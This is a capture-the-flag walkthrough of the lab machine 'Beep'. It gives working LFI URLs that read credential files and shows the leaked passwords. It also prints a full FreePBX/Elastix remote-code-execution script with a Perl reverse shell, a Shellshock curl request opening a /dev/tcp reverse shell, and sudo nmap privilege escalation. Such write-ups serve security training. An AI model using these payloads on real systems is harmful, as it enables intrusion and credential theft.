10.10.10.7 - Beep - LFI, Shellshock, SUID

Example of LFI and SUID vulnerabilities

Summary:

vulnerable software : Asterisk Call Manager 1.1, POC system vulnerable : 10.10.10.7 vulnerability explanation :Local file Inclusion in the file sortfieldsjson.php severity : critical

Enumeration:

Command run:

nmap 10.10.10.70 -sV -sC

Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-04 19:55 GMT Nmap scan report for 10.10.10.7 Host is up (0.16s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.3 110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 111/tcp open rpcbind 2 (RPC #100000) 143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) 745/tcp open status 1 (RPC #100024) 993/tcp open ssl/imap Cyrus imapd 995/tcp open pop3 Cyrus pop3d 3306/tcp open mysql MySQL (unauthorized) 4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap) 4445/tcp open upnotifyp? 4559/tcp open hylafax HylaFAX 4.3.10 5038/tcp open asterisk Asterisk Call Manager 1.1 10000/tcp open http MiniServ 1.570 (Webmin httpd) Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 191.46 seconds PORT STATE SERVICE VERSION 69/udp open tftp? | tftp-enum: | OS79XX.TXT | RINGLIST.DAT | XMLDefault.cnf.xml | dialplan.xml | merlin2.pcm |_ syncinfo.xml

Directories discovery command:

dirsearch -u https://10.10.10.7/ -w ./raft-medium-directories.txt -e php,txt
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, txt | Threads: 10 | Wordlist size: 30005
Error Log: /opt/dirsearch/logs/errors-18-01-08_15-16-00.log
Target: https://10.10.10.7/
[15:16:01] Starting:
[15:16:02] 301 - 309B - /admin -> https://10.10.10.7/admin/
[15:16:02] 301 - 310B - /images -> https://10.10.10.7/images/
[15:16:02] 301 - 311B - /modules -> https://10.10.10.7/modules/
[15:16:02] 301 - 310B - /themes -> https://10.10.10.7/themes/
[15:16:03] 301 - 308B - /help -> https://10.10.10.7/help/
[15:16:05] 301 - 307B - /var -> https://10.10.10.7/var/
[15:16:05] 301 - 308B - /mail -> https://10.10.10.7/mail/
[15:16:06] 301 - 310B - /static -> https://10.10.10.7/static/
[15:16:07] 301 - 308B - /lang -> https://10.10.10.7/lang/
[15:16:10] 301 - 308B - /libs -> https://10.10.10.7/libs/
[15:16:19] 301 - 309B - /panel -> https://10.10.10.7/panel/
[15:16:58] 301 - 311B - /configs -> https://10.10.10.7/configs/
[15:23:39] 301 - 314B - /recordings -> https://10.10.10.7/recordings/
[15:26:38] 301 - 313B - /vtigercrm -> https://10.10.10.7/vtigercrm/
[15:26:42] 200 - 2KB - /

Vtiger CRM version 5.1.0 exposed on https://10.10.10.7/vtigercrm.

Asterisk looks for the asterisk.conf file in the /etc/asterisk directory, but you can supply a command line parameter to use a different asterisk.conf file. Manager.conf configuration file holds login as well as password details to other supporting applications.

www.voip-info.org

Which brings us to vulnerability research, showing that Vtiger 5.1 suffers from Local File Inclusion

searchsploit vtiger 5.1

Details:

# Exploit Title: VTiger CRM
# Google Dork: None
# Date: 20/03/2012
# Author: Pi3rrot
# Software Link: http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.1.0/
# Version: 5.1.0
# Tested on: CentOS 6
# CVE : none
We have find this vulnerabilitie in VTiger 5.1.0
In this example, you can see a Local file Inclusion in the file sortfieldsjson.php
Try this :
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

Source code of sortfieldjson.php responsible for LFI:

cat sortfieldsjson.php
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
function vtSortFieldsJson($request){
$moduleName = $request['module_name'];
require_once("modules/$moduleName/$moduleName.php");
$focus = new $moduleName();
echo Zend_Json::encode($focus->sortby_fields);
}
vtSortFieldsJson($_REQUEST);
Vulnerable part of the code that allowed LFI to exist:
require_once("modules/$moduleName/$moduleName.php");
The require_once statement is identical to require except PHP
will check if the file has already been included, and if so,
not include (require) it again.

With this information at hand we should be able to retrieve login details since LFI is coming from Asterisk user access account. We can download this file:

└──╼ $wget https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00 --no-check-certificate -O LFI
--2019-01-29 16:01:20-- https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00
Connecting to 10.10.10.7:443... connected.
WARNING: The certificate of ‘10.10.10.7’ is not trusted.
WARNING: The certificate of ‘10.10.10.7’ doesn't have a known issuer.
WARNING: The certificate of ‘10.10.10.7’ has expired.
The certificate has expired
The certificate's owner does not match hostname ‘10.10.10.7’
HTTP request sent, awaiting response... 200 OK
Length: 916 [text/html]
Saving to: ‘LFI’
LFI 100%[=====================================================================================================>] 916 --.-KB/s in 0s
2019-01-29 16:01:21 (8.50 MB/s) - ‘LFI’ saved [916/916]

And view it:

└──╼ $cat LFI
;
; AMI - Asterisk Manager interface
;
; FreePBX needs this to be enabled. Note that if you enable it on a different IP, you need
; to assure that this can't be reached from un-authorized hosts with the ACL settings (permit/deny).
; Also, remember to configure non-default port or IP-addresses in amportal.conf.
;
; The AMI connection is used both by the portal and the operator's panel in FreePBX.
;
; FreePBX assumes an AMI connection to localhost:5038 by default.
;
[general]
enabled = yes
port = 5038
bindaddr = 0.0.0.0
displayconnects=no ;only effects 1.6+
[admin]
secret = jEhdIekWmdjE
deny=0.0.0.0/0.0.0.0
permit=127.0.0.1/255.255.255.0
read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
#include manager_additional.conf
#include manager_custom.conf

Revealing login credentials: user: admin, secret: jEhdIekWmdjE.

It is always worth using gathered credentials against the services running on the host. Since this is a Linux system with SSH server running, in this case we were able to login as root:

Moving on...

Alternatively we can look for other interesting files belonging to Vtiger such as: amportal.conf storing all the passwords:

curl -k https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00
# FreePBX Database configuration
# AMPDBHOST: Hostname where the FreePBX database resides
# AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql)
# AMPDBNAME: Name of the FreePBX database (e.g. asterisk)
# AMPDBUSER: Username used to connect to the FreePBX database
# AMPDBPASS: Password for AMPDBUSER (above)
# AMPENGINE: Telephony backend engine (e.g. asterisk)
# AMPMGRUSER: Username to access the Asterisk Manager Interface
# AMPMGRPASS: Password for AMPMGRUSER
#
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
# AMPBIN: Location of the FreePBX command line scripts
# AMPSBIN: Location of (root) command line scripts
#
AMPBIN=/var/lib/asterisk/bin
AMPSBIN=/usr/local/sbin
# AMPWEBROOT: Path to Apache's webroot (leave off trailing slash)
# AMPCGIBIN: Path to Apache's cgi-bin dir (leave off trailing slash)
# AMPWEBADDRESS: The IP address or host name used to access the AMP web admin
#
AMPWEBROOT=/var/www/html
AMPCGIBIN=/var/www/cgi-bin
# AMPWEBADDRESS=x.x.x.x|hostname
# FOPWEBROOT: Path to the Flash Operator Panel webroot (leave off trailing slash)
# FOPPASSWORD: Password for performing transfers and hangups in the Flash Operator Panel
# FOPRUN: Set to true if you want FOP started by freepbx_engine (amportal_start), false otherwise
# FOPDISABLE: Set to true to disable FOP in interface and retrieve_conf. Useful for sqlite3
# or if you don't want FOP.
#
#FOPRUN=true
FOPWEBROOT=/var/www/html/panel
#FOPPASSWORD=passw0rd
FOPPASSWORD=jEhdIekWmdjE

Exposure of users registered on the system by reading /etc/passwd

curl -k https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
spamfilter:x:500:500::/home/spamfilter:/bin/bash
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
fanis:x:501:501::/home/fanis:/bin/bash

One user especially stands out, possibly containing a user flag, we can confirm this with:

curl -k https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../home/fanis/user.txt%00
aeff3def0c765c2677b94715cffa73ac

In conclusion:

LFI vulnerability allowed us to retrieve the login credentials to FreePBX database. We have captured user.txt flag indicating that asterisk user had an access to at least standard user files. Attacker could have also taken advantage of credentials reuse to ssh into the server as an administrator.

We can also if we want to, turn this LFI info RFI. Details here.

Gaining access:

Summary:

vulnerable software : Elastix 2.2.0, POC system vulnerable : 10.10.10.7 vulnerability explanation :The $to parameter in recordings/misc/callme_page.php does not get sanitized. After a short trip in between various functions, $to ends up written to the Asterisk Management Interface socket. privilege escalation vulnerability : Vulnerable SUID program - NMAP 4.11 vulnerability fix: update both Nmap and Elastix severity : critical

Successful login with gathered credentials through LFI below and version enumeration allows us to tailor our actions for this particular service.

We learn that application hosted on the server is Elastix 2.2.0 and is vulnerable to Remote Code Execution.

Details of FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution; exploits/php/webapps/18650.py:

#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
urllib.urlopen(url)

Source code of callme_page.php:

cat callme_page.php
<?php
/**
* @file
* for making call to play message
*/
chdir("..");
include_once("./includes/bootstrap.php");
include_once("./includes/common.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<TITLE>Voicemail Message Call Me Control</TITLE>
<link rel="stylesheet" href="../theme/main.css" type="text/css">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<?php
// login to database
$success = databaseLogon();
if ($success) {
$path = $_SESSION['ari_user']['recfiles'][$_REQUEST['recindex']];
$pageaction = $_REQUEST['action'];
$to = $_REQUEST['callmenum'];
$msgFrom = $_REQUEST['msgFrom'];
$new_path = substr($path, 0, -4); /* Without the sound file extension. */
$matches[0] = ''; /* init the $matches array. */
/* Either start or end the call me call */
switch($pageaction)
{
case "c":
/* Call me. */
$call_status = callme_startcall($to, $msgFrom, $new_path);
echo("<table class='voicemail' style='width: 100%; height: 100%; margin: 0 0 0 0; border: 0px; padding: 0px'><tr><td valign='middle' style='border: 0px'>");
/* if successful, display hang-up button */
if (callme_succeeded($call_status))
{
echo("<a href='callme_page.php?action=h&callmenum=" . $to . "'>Click here to hang up.</a>");
}
echo("</td></tr></table>");
echo("<script language='javascript'>parent.document.getElementById('callme_status').innerHTML = '" . _("$call_status") . "';</script>");
echo("<script language='javascript'>parent.document.getElementById('pb_load_inprogress').value='false';</script>");
echo("<script language='javascript'>parent.document.getElementById('callme_status').parentNode.style.backgroundColor = 'white';</script>");
break;
case "h":
/* Hang up. */
/* Find the channel and hang it up if it still exists. */
callme_hangup($to);
echo("<script language='javascript'>parent.document.getElementById('callme_status').innerHTML = '" . _("The call was terminated.") . "';</script>");
break;
}
}
else {
echo("Unable to connect to Asterisk Manager Interface");
}
// log off any databases needed
databaseLogoff();
?>
</body>
</html>

Configure the exploit code:

rhost – target IP – 10.11.1.217

lhost – attacker listener IP – 10.11.0.249

lport – attacker listener port - 443

In order to succeed with this exploit we need to find out a valid extension number. We can accomplish this process with svwar - Sipvicious extension line scanner scans SIP PaBXs for valid extension lines.

Don't use in the middle of the night in order to not disturb the neighbors, got it!

We feed discovered extension (233) to our exploit code and we are ready to launch it:

Note:if you get this error below, you may want to add: import ssl ssl._create_default_https_context = ssl._create_unverified_context to the beginning of the python code.

Error code:

IOError: [Errno socket error] [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:727)

Modifications to the exploit code:

Exploit code pointed towards vulnerable application and netcat catching back a reverse shell:

Privilege Escalation

Whilst looking for binaries that were given a privilege to run from a root account Nmap was identified.

sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. In simple words users will get file owner’s permissions as well as owner UID and GID when executing a file/program/command.

Until version 5.50, Nmap had an interactive option available, allowing for execution of arbitrary commands on the system:

sudo nmap --interactive

Summary:

vulnerable software : MiniServ 1.570, POC system vulnerable : 10.10.10.7:10000 vulnerability explanation :Shellshock, CVE-2014-6271 severity : critical

On top of that the server was also vulnerable to Shellshock injection as it is running vulnerable MiniServ Webmin 1.570 Webmin HTTP on port 10000 exposing /file/show.cgi to the public:

Proof:

Theory:

When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP_USER_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system(3) call, Bash will receive the environment variables passed by the server and will process them as described above. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request. Security documentation for the widely used Apache web server states: "CGI scripts can ... be extremely dangerous if they are not carefully checked." and other methods of handling web server requests are often used. There are a number of online services which attempt to test the vulnerability against web servers exposed to the Internet.

Reference

Shellshock exploitation:

Burp sending the request and triggering the shell:

I was also curious what happens during exploitation, so I copied above command as a curl request and made a request to the victim:

└──╼ $curl -i -s -k -X $'GET' \
> -H $'Host: 10.10.10.7:10000' -H $'user-agent: () { :; }; bash -i >& /dev/tcp/10.10.14.20/4444 0>&1' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
> $'https://10.10.10.7:10000/file/show.cgi'
HTTP/1.0 200 Document follows
Date: Wed, 30 Jan 2019 21:53:35 GMT
Server: MiniServ/1.570
Connection: close
Set-Cookie: testing=1; path=/; secure
pragma: no-cache
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-type: text/html; Charset=iso-8859-1
<!doctype html public "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<link rel='stylesheet' type='text/css' href='/unauthenticated/style.css' />
<script type='text/javascript' src='/unauthenticated/toggleview.js'></script>
<script>
var rowsel = new Array();
</script>
<script type='text/javascript' src='/unauthenticated/sorttable.js'></script>
<meta http-equiv="Content-Type" content="text/html; Charset=iso-8859-1">

Successful reverse shell and confirmation of vulnerable Bash environment: